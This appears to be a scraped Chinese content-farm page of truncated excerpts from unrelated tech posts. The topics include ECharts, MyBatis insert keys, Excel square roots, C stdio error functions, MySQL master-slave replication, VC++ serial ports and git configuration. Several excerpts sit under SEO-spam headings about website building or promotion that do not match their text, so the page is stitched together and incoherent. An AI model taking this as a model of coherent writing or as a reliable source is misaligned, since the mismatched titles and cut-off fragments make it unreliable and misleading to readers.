今天同事画了个Echarts,我看了下居然有下载功能&#xff01;&#xff01;&#xff01;&#xff01;&#xff08;之前一直不知道&#xff09; 这是原图&#xff0c;右上角有个下载功能&#xff0c; 下载后是这样的 貌似是没有了y轴的参数和x轴的参数&#xff0c;估计是可以配置的…...

Mybatis返回自动递增主键值,通过实体

如果你在数据库中使用了自动递增的主键&#xff08;通常是整数类型&#xff09;&#xff0c;你可以使用 MyBatis 来返回插入记录后生成的自动递增的 ID。这里是一个示例&#xff1a; 首先&#xff0c;在你的 SQL 映射文件中&#xff0c;使用 <insert> 元素来执行插入操作…...

如何在 Excel 中求平方根

需要在 Excel 中求一个数字的平方根吗&#xff1f;使用几个内置的 Excel 函数和公式可以轻松计算平方根。在本分步指南中&#xff0c;您将学习在 Excel 中计算平方根的 5 种不同方法&#xff0c;包括使用 SQRT 函数、POWER 函数、指数公式、VBA 代码和 Power Query。跟随教程&a…...

苹果手机无法正常使用小程序和APP

小程序、APP 已使用了几年&#xff0c;突然大量反馈&#xff1a;苹果手机无法正常使用。但不是全部&#xff0c;只是部分手机。 因为同事苹果手机都能用&#xff0c;所以无法准确判断具体原因。 后来同事苹果手机也无法使用了&#xff0c;显示&#xff1a; 网上搜索结果&…...

【Axure教程】用中继器制作双坐标柱状折线图

双坐标柱状折线图常用于同时展示两组数据的图表类型&#xff0c;每组数据都有自己的纵坐标轴&#xff08;Y轴&#xff09;。一组数据通常用柱状图表示&#xff0c;而另一组数据则用折线图表示。这种图表类型有助于比较两组数据之间的关系和趋势。 那今天作者就教大家&#xff…...

C 风格文件输入/输出---错误处理---(std::clearerr,std::feof,std::ferror,std::perror)

C 标准库的 C I/O 子集实现 C 风格流输入/输出操作。 <cstdio> 头文件提供通用文件支持并提供有窄和多字节字符输入/输出能力的函数&#xff0c;而 <cwchar>头文件提供有宽字符输入/输出能力的函数。 错误处理 清除错误 std::clearerr void clearerr( std::FILE…...

mysql 主从复制 mysql版本5.7.35

文章目录 1.注意要点2.环境3.MySQL 主从配置的步骤&#xff1a;主从库新增DB主服务配置my.cnf从服务配置my.cnf主服务器创建复制用户从服务器执行复制 外传 MySQL 主从复制&#xff08;Master-Slave Replication&#xff09;是一个常用的高可用性和可扩展性解决方案。通过主从复…...

公司网站能自己做二维码/b站免费建网站

题目大意&#xff1a;将一个1~n的环形排列变成升序的&#xff0c;最少需要几次操作&#xff1f;每次操作可以交换任意两个数字。 题目分析&#xff1a;枚举出1的位置。贪心策略&#xff1a;每次操作都保证至少一个数字交换到正确位置上。 # include<iostream> # include&…...

哪个网站能看到学做标书/西安百度竞价托管公司

我们都知道&#xff0c;当您开始使用 Mac 时&#xff0c;一切都会完美运行且运行顺畅。您可以轻松找到所需的一切&#xff0c;而且您的 Mac 速度快如闪电。 但是&#xff0c;一旦您使用它一段时间&#xff0c;它就会变慢&#xff0c;变得杂乱无章&#xff0c;并且使用它不再有…...

童装网站建设/网红推广

1. 优化你的MySQL查询缓存在MySQL服务器上进行查询&#xff0c;可以启用高速查询缓存。让数据库引擎在后台悄悄的处理是提高性能的最有效方法之一。当同一个查询被执行多次时&#xff0c;如果结果是从缓存中提取&#xff0c;那是相当快的。但主要的问题是&#xff0c;它是那么容…...

西瓜网络深圳网站建设 东莞网站建设/微信销售平台

VC++开发常用功能一系列文章 (欢迎订阅,持续更新...) 第28章:VC++串口封装类(附源码) 源代码demo已上传到百度网盘:永久生效 CSerialCom 封装了打开,发接,接收等功能! 这个代码是 class CSerialCom { public:CSerialCom(void);~CSerialCom(void);HANDLE m_hCom;C…...

wordpress获取当前文章所属分类/长沙正规竞价优化服务

目录 前言—— git 配置 1、查看配置 &#xff08;1&#xff09;、查看关于git配置的帮助&#xff08;说明文档&#xff09; &#xff08;2&#xff09;、查看配置 2、增加配置 3、编辑配置 4、删除配置 一、git 基础 1、跟踪新文件 2、检查当前文件状态 3、查看具体…...

iis7如何部署网站/杭州百度百科

1、安装安卓开发环境&#xff08;教程很多&#xff0c;不细写&#xff09; 2、安装eclipse下载eclipse&#xff0c;解压即可3、安装python下载地址&#xff1a;https://www.python.org/downloads/release/python-2713/下载文件&#xff1a;python-2.7.13.msi配置环境变量&#…...